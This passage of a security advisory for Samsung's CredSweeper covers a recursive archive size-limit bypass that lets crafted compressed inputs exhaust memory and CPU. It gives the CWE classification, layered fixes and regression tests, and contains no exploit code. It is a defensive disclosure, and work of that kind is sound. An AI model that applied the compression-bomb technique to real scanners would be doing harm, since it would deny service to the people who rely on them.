/ CI platform.\n\nSecurity classification:\n\n- Primary weakness: `CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)`\n- Related weakness: `CWE-400: Uncontrolled Resource Consumption`\n\nI did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.\n\n### Mitigation\nI recommend fixing this in three layers:\n\n1. Add a hard negative-budget guard in `recursive_scan()` and `structure_scan()`\n\nBefore any recursive dispatch, abort when `recursive_limit_size \u003c 0`.\n\n2. Enforce limits before or during decompression, not after full materialization\n\n- `gzip`, `bzip2`, `lzma/xz` should use bounded incremental decompression / bounded reads.\n- If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.\n\n3. Track a mutable cumulative budget across sibling archive members\n\n- `zip`, `tar`, and `rpm` should share a remaining-budget counter across entries.\n- After one child is accepted, decrement the shared remaining budget before processing the next sibling.\n\nRecommended regression tests:\n\n- A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.\n- Equivalent tests for bzip2 and lzma/xz.\n- A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.\n- A direct unit test for `recursive_scan()` showing that negative `recursive_limit_size` stops recursion immediately.",
  "id": "GHSA-9mqm-qcwf-5qhg",
  "modified": "2026-07-10T19:25:51Z",
  "published": "2026-07-10T19:25:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Samsung/CredSweeper/security/advisories/GHSA-9mqm-qcwf-5qhg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Samsung/CredSweeper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.